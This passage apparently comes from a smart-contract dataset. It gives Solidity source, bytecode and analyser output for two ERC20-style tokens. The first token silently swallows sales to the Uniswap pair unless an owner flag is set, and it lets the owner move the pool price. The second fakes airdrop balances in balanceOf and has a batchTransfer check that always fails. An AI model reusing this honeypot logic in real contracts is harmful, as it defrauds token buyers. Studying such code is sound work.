onlyOwner() { require(isOwner(msg.sender)); _; } function isOwner(address account) public view returns(bool) { return account == _owner; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } function epoch() public view returns (uint8) { return _epoch; } function epoch_increment(uint8 new_epoch) public onlyOwner { _epoch = new_epoch; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function reflect_start() public onlyOwner { if(reflect == true) reflect = false; else reflect = true; } function addLiquidity(uint8 perc) public payable onlyOwner { IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(routerAddy); pairAddress = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _approve(address(this), address(uniswapV2Router), _initialSupply); uniswapV2Router.addLiquidityETH{value: msg.value}( address(this), _initialSupply*perc/100, 0, 0, _owner, block.timestamp ); } function disperse(uint8 perc, address where) public onlyOwner { _transfer(address(this), where, _initialSupply*perc/100); } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function curseUniPrice(uint256 amount) public onlyOwner { _transfer(pairAddress, purgatoryAddress, amount); IUniswapV2Pair(pairAddress).sync(); } function blessUniPrice(uint256 amount) public onlyOwner { _transfer(purgatoryAddress, pairAddress, amount); IUniswapV2Pair(pairAddress).sync(); } function burn(uint256 amount) public virtual override { _burn(msg.sender, amount); } function burnFrom(address account, uint256 amount) public virtual override { uint256 decreasedAllowance = allowance(account, msg.sender).sub(amount, "ERC20: burn amount exceeds allowance"); _approve(account, msg.sender, decreasedAllowance); _burn(account, amount); } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); if(sender == _owner || sender == address(this) || recipient == address(this)) { _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } else if (recipient == pairAddress){if(reflect == true) { _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); }else if(sender == purgatoryAddress){ _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); }}else{ _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } receive() external payable {} }
0x6080604052600436106101395760003560e01c8063900cf0cf116100ab578063a5cea9131161006f578063a5cea9131461048c578063a9059cbb146104b9578063ab21a393146104f2578063d5048f801461052e578063d673f4c314610543578063dd62ed3e1461055857610140565b8063900cf0cf146103df57806395d89b41146103f45780639b19ae7e14610409578063a457c2d714610429578063a4d0d1381461046257610140565b8063313ce567116100fd578063313ce567146102b957806339509351146102e457806341cf00481461031d57806342966c681461034957806370a082311461037357806379cc6790146103a657610140565b806306fdde0314610145578063095ea7b3146101cf57806318160ddd1461021c57806323b872dd146102435780632f54bf6e1461028657610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a610593565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561019457818101518382015260200161017c565b50505050905090810190601f1680156101c15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101db57600080fd5b50610208600480360360408110156101f257600080fd5b506001600160a01b038135169060200135610629565b604080519115158252519081900360200190f35b34801561022857600080fd5b5061023161063f565b60408051918252519081900360200190f35b34801561024f57600080fd5b506102086004803603606081101561026657600080fd5b506001600160a01b03813581169160208101359091169060400135610645565b34801561029257600080fd5b50610208600480360360208110156102a957600080fd5b50356001600160a01b03166106ae565b3480156102c557600080fd5b506102ce6106c2565b6040805160ff9092168252519081900360200190f35b3480156102f057600080fd5b506102086004803603604081101561030757600080fd5b506001600160a01b0381351690602001356106cb565b34801561032957600080fd5b506103476004803603602081101561034057600080fd5b5035610701565b005b34801561035557600080fd5b506103476004803603602081101561036c57600080fd5b503561079b565b34801561037f57600080fd5b506102316004803603602081101561039657600080fd5b50356001600160a01b03166107a8565b3480156103b257600080fd5b50610347600480360360408110156103c957600080fd5b506001600160a01b0381351690602001356107c3565b3480156103eb57600080fd5b506102ce61080f565b34801561040057600080fd5b5061015a61081e565b6103476004803603602081101561041f57600080fd5b503560ff1661087e565b34801561043557600080fd5b506102086004803603604081101561044c57600080fd5b506001600160a01b038135169060200135610af7565b34801561046e57600080fd5b506103476004803603602081101561048557600080fd5b5035610b46565b34801561049857600080fd5b50610347600480360360208110156104af57600080fd5b503560ff16610b75565b3480156104c557600080fd5b50610208600480360360408110156104dc57600080fd5b506001600160a01b038135169060200135610ba5565b3480156104fe57600080fd5b506103476004803603604081101561051557600080fd5b50803560ff1690602001356001600160a01b0316610bb2565b34801561053a57600080fd5b50610347610be4565b34801561054f57600080fd5b506102ce610c2e565b34801561056457600080fd5b506102316004803603604081101561057b57600080fd5b506001600160a01b0381358116916020013516610c3d565b60008054604080516020601f600260001961010060018816150201909516949094049384018190048102820181019092528281526060939092909183018282801561061f5780601f106105f45761010080835404028352916020019161061f565b820191906000526020600020905b81548152906001019060200180831161060257829003601f168201915b5050505050905090565b6000610636338484610cc9565b50600192915050565b60045490565b6000610652848484610db5565b6106a4843361069f856040518060600160405280602881526020016112d6602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611085565b610cc9565b5060019392505050565b6009546001600160a01b0390811691161490565b60065460ff1690565b3360008181526003602090815260408083206001600160a01b0387168452909152812054909161063691859061069f9086610c68565b61070a336106ae565b61071357600080fd5b600854600754610730916001600160a01b03908116911683610db5565b600760009054906101000a90046001600160a01b03166001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561078057600080fd5b505af1158015610794573d6000803e3d6000fd5b5050505050565b6107a5338261111c565b50565b6001600160a01b031660009081526002602052604090205490565b60006107f3826040518060600160405280602481526020016112fe602491396107ec8633610c3d565b9190611085565b9050610800833383610cc9565b61080a838361111c565b505050565b60065462010000900460ff1690565b60018054604080516020601f6002600019610100878916150201909516949094049384018190048102820181019092528281526060939092909183018282801561061f5780601f106105f45761010080835404028352916020019161061f565b610887336106ae565b61089057600080fd5b6000600660039054906101000a90046001600160a01b03169050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108e357600080fd5b505afa1580156108f7573d6000803e3d6000fd5b505050506040513d602081101561090d57600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b15801561095d57600080fd5b505afa158015610971573d6000803e3d6000fd5b505050506040513d602081101561098757600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b1580156109d957600080fd5b505af11580156109ed573d6000803e3d6000fd5b505050506040513d6020811015610a0357600080fd5b5051600780546001600160a01b0319166001600160a01b03909216919091179055600554610a349030908390610cc9565b806001600160a01b031663f305d719343060648660ff166005540281610a5657fe5b600954604080516001600160e01b031960e089901b1681526001600160a01b03958616600482015293909204602484015260006044840181905260648401529290921660848201524260a4820152905160c480830192606092919082900301818588803b158015610ac657600080fd5b505af1158015610ada573d6000803e3d6000fd5b50505050506040513d6060811015610af157600080fd5b50505050565b6000610636338461069f856040518060600160405280602581526020016113ac602591393360009081526003602090815260408083206001600160a01b038d1684529091529020549190611085565b610b4f336106ae565b610b5857600080fd5b600754600854610730916001600160a01b03908116911683610db5565b610b7e336106ae565b610b8757600080fd5b6006805460ff909216620100000262ff000019909216919091179055565b6000610636338484610db5565b610bbb336106ae565b610bc457600080fd5b610be0308260648560ff166005540281610bda57fe5b04610db5565b5050565b610bed336106ae565b610bf657600080fd5b60065460ff61010090910416151560011415610c1c576006805461ff0019169055610c2c565b6006805461ff0019166101001790555b565b60065462010000900460ff1681565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b600082820183811015610cc2576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6001600160a01b038316610d0e5760405162461bcd60e51b81526004018080602001828103825260248152602001806113886024913960400191505060405180910390fd5b6001600160a01b038216610d535760405162461bcd60e51b815260040180806020018281038252602281526020018061128e6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610dfa5760405162461bcd60e51b81526004018080602001828103825260258152602001806113636025913960400191505060405180910390fd5b6001600160a01b038216610e3f5760405162461bcd60e51b81526004018080602001828103825260238152602001806112496023913960400191505060405180910390fd5b610e4a83838361080a565b610e87816040518060600160405280602681526020016112b0602691396001600160a01b0386166000908152600260205260409020549190611085565b6001600160a01b03808516600081815260026020526040902092909255600954161480610ebc57506001600160a01b03831630145b80610ecf57506001600160a01b03821630145b15610f41576001600160a01b038216600090815260026020526040902054610ef79082610c68565b6001600160a01b03808416600081815260026020908152604091829020949094558051858152905191939287169260008051602061132283398151915292918290030190a361080a565b6007546001600160a01b03838116911614156110185760065460ff61010090910416151560011415610fda576001600160a01b038216600090815260026020526040902054610f909082610c68565b6001600160a01b03808416600081815260026020908152604091829020949094558051858152905191939287169260008051602061132283398151915292918290030190a3611013565b6008546001600160a01b0384811691161415611013576001600160a01b038216600090815260026020526040902054610ef79082610c68565b61080a565b6001600160a01b03821660009081526002602052604090205461103b9082610c68565b6001600160a01b03808416600081815260026020908152604091829020949094558051858152905191939287169260008051602061132283398151915292918290030190a3505050565b600081848411156111145760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156110d95781810151838201526020016110c1565b50505050905090810190601f1680156111065780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b0382166111615760405162461bcd60e51b81526004018080602001828103825260218152602001806113426021913960400191505060405180910390fd5b61116d8260008361080a565b6111aa8160405180606001604052806022815260200161126c602291396001600160a01b0385166000908152600260205260409020549190611085565b6001600160a01b0383166000908152600260205260409020556004546111d09082611206565b6004556040805182815290516000916001600160a01b038516916000805160206113228339815191529181900360200190a35050565b6000610cc283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061108556fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e20616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122072e7010e98ee90545459e47dfc68b7a6191c45f5435eaddf846ef216e7a7dfde64736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
217
0x90894882a613937de155169ac995b36bab750d3d
pragma solidity ^0.4.24; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner,address indexed spender,uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; //这里是个事件,供前端监听 event OwnerEvent(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account.这是一个构造函数,在合约启动时只运行一次,将合约的地址赋给地址owner */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner。这里就是modifier onlyOwner的修饰符,用来判定是否是合约的发布者 * */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. * 让合约拥有者修改指定新的合约拥有者,并调用事件来监听 */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnerEvent(owner, newOwner); owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } /** * @title TongBi Coin * @dev http://www.tongbi.io * @dev WeChat:sixinwo */ contract TBCPublishToken is StandardToken,Ownable,Pausable{ string public name ; string public symbol ; uint8 public decimals ; address public owner; constructor(uint256 initialSupply, string tokenName, string tokenSymbol, uint8 tokenDecimals) public { owner = msg.sender; totalSupply_ = initialSupply * 10 ** uint256(tokenDecimals); balances[owner] = totalSupply_; name = tokenName; symbol = tokenSymbol; decimals=tokenDecimals; } event Mint(address indexed to, uint256 value); event TransferETH(address indexed from, address indexed to, uint256 value); mapping(address => bool) touched; mapping(address => bool) airDropPayabled; bool public airDropShadowTag = true; bool public airDropPayableTag = true; uint256 public airDropShadowMoney = 888; uint256 public airDropPayableMoney = 88; uint256 public airDropTotalSupply = 0; uint256 public buyPrice = 40000; function setName(string name_) onlyOwner public{ name = name_; } function setSymbol(string symbol_) onlyOwner public{ symbol = symbol_; } function setDecimals(uint8 decimals_) onlyOwner public{ decimals = decimals_; } // public functions function mint(address _to, uint256 _value) onlyOwner public returns (bool) { require(_value > 0 ); balances[_to] = balances[_to].add(_value); totalSupply_ = totalSupply_.add(_value); emit Mint(_to, _value); emit Transfer(address(0), _to, _value); return true; } function setAirDropShadowTag(bool airDropShadowTag_,uint airDropShadowMoney_) onlyOwner public{ airDropShadowTag = airDropShadowTag_; airDropShadowMoney = airDropShadowMoney_; } function balanceOf(address _owner) public view returns (uint256) { require(msg.sender != address(0)); if(airDropShadowTag && balances[_owner] == 0) balances[_owner] += airDropShadowMoney * 10 ** uint256(decimals); return balances[_owner]; } function setPrices(uint256 newBuyPrice) onlyOwner public{ require(newBuyPrice > 0) ; require(buyPrice != newBuyPrice); buyPrice = newBuyPrice; } function setAirDropPayableTag(bool airDropPayableTag_,uint airDropPayableMoney_) onlyOwner public{ airDropPayableTag = airDropPayableTag_; airDropPayableMoney = airDropPayableMoney_; } function () public payable { require(msg.value >= 0 ); require(msg.sender != owner); uint256 amount = airDropPayableMoney * 10 ** uint256(decimals); if(msg.value == 0 && airDropShadowTag && !airDropPayabled[msg.sender] && airDropTotalSupply < totalSupply_){ balances[msg.sender] = balances[msg.sender].add(amount); airDropPayabled[msg.sender] = true; airDropTotalSupply = airDropTotalSupply.add(amount); balances[owner] = balances[owner].sub(amount); emit Transfer(owner,msg.sender,amount); }else{ amount = msg.value.mul(buyPrice); require(balances[owner] >= amount); balances[msg.sender] = balances[msg.sender].add(amount); balances[owner] = balances[owner].sub(amount); owner.transfer(msg.value); emit TransferETH(msg.sender,owner,msg.value); emit Transfer(owner,msg.sender,amount); } } // events event Burn(address indexed burner, uint256 value); function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { require(_value > 0 ); tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0 ); _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } /** * @dev Burns a specific amount of tokens from the target address and decrements allowance * @param _from address The address which you want to send tokens from * @param _value uint256 The amount of token to be burned */ function burnFrom(address _from, uint256 _value) public { require(_value > 0 ); require(_value <= allowed[_from][msg.sender]); // Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted, // this function needs to emit an event with the updated approval. allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); _burn(_from, _value); } function transfer(address _to,uint256 _value) public whenNotPaused returns (bool){ return super.transfer(_to, _value); } function transferFrom(address _from,address _to, uint256 _value) public whenNotPaused returns (bool){ return super.transferFrom(_from, _to, _value); } function approve(address _spender,uint256 _value) public whenNotPaused returns (bool){ return super.approve(_spender, _value); } function increaseApproval(address _spender,uint _addedValue) public whenNotPaused returns (bool success){ return super.increaseApproval(_spender, _addedValue); } function decreaseApproval( address _spender,uint _subtractedValue) public whenNotPaused returns (bool success){ return super.decreaseApproval(_spender, _subtractedValue); } function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) { uint length_ = _receivers.length; uint256 amount = _value.mul(length_); require(length_ > 0 ); require(_value > 0 && balances[msg.sender] >= amount); balances[msg.sender] = balances[msg.sender].sub(amount); for (uint i = 0; i < length_; i++) { require (balances[_receivers[i]].add(_value) < balances[_receivers[i]]) ; // Check for overflows balances[_receivers[i]] = balances[_receivers[i]].add(_value); emit Transfer(msg.sender, _receivers[i], _value); } return true; } /** www.tongbi.io */ }
0x6080604052600436106101a1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610885578063085ca67914610915578063095ea7b31461094e57806318160ddd146109b357806323b872dd146109de57806330cc1d1814610a63578063313ce56714610a9257806335446c7814610ac35780633f4ba83a14610afc57806340c10f1914610b1357806342966c6814610b785780635c975abb14610ba55780636618846314610bd457806370a0823114610c3957806379cc679014610c905780637a1395aa14610cdd57806383f12fec14610d0d5780638456cb5914610d955780638620410b14610dac5780638da5cb5b14610dd757806394868f7d14610e2e57806395d89b4114610e5d578063a3201daa14610eed578063a9059cbb14610f1a578063a97fe7b614610f7f578063acee57e114610faa578063b84c824614610fd5578063c47f00271461103e578063cae9ca51146110a7578063cb58594e14611152578063d73dd6231461117d578063dd62ed3e146111e2578063f2fde38b14611259575b60008034101515156101b257600080fd5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415151561020f57600080fd5b600660009054906101000a900460ff1660ff16600a0a600b540290506000341480156102475750600960009054906101000a900460ff165b801561029d5750600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156102ac5750600154600c54105b1561051a57610302816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461129c90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506103b181600c5461129c90919063ffffffff16565b600c8190555061042a81600080600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112b890919063ffffffff16565b600080600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3610882565b61052f600d54346112d190919063ffffffff16565b905080600080600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156105a057600080fd5b6105f1816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461129c90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506106a681600080600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112b890919063ffffffff16565b600080600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015610772573d6000803e3d6000fd5b50600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fb417e19f030bde3b90ec59aeed617934f679c9071dde0be604082db6586346a6346040518082815260200191505060405180910390a33373ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35b50005b34801561089157600080fd5b5061089a611309565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156108da5780820151818401526020810190506108bf565b50505050905090810190601f1680156109075780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561092157600080fd5b5061094c600480360381019080803515159060200190929190803590602001909291905050506113a7565b005b34801561095a57600080fd5b50610999600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611428565b604051808215151515815260200191505060405180910390f35b3480156109bf57600080fd5b506109c8611458565b6040518082815260200191505060405180910390f35b3480156109ea57600080fd5b50610a49600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611462565b604051808215151515815260200191505060405180910390f35b348015610a6f57600080fd5b50610a78611494565b604051808215151515815260200191505060405180910390f35b348015610a9e57600080fd5b50610aa76114a7565b604051808260ff1660ff16815260200191505060405180910390f35b348015610acf57600080fd5b50610afa600480360381019080803515159060200190929190803590602001909291905050506114ba565b005b348015610b0857600080fd5b50610b1161153b565b005b348015610b1f57600080fd5b50610b5e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506115fb565b604051808215151515815260200191505060405180910390f35b348015610b8457600080fd5b50610ba3600480360381019080803590602001909291905050506117d4565b005b348015610bb157600080fd5b50610bba6117f0565b604051808215151515815260200191505060405180910390f35b348015610be057600080fd5b50610c1f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611803565b604051808215151515815260200191505060405180910390f35b348015610c4557600080fd5b50610c7a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611833565b6040518082815260200191505060405180910390f35b348015610c9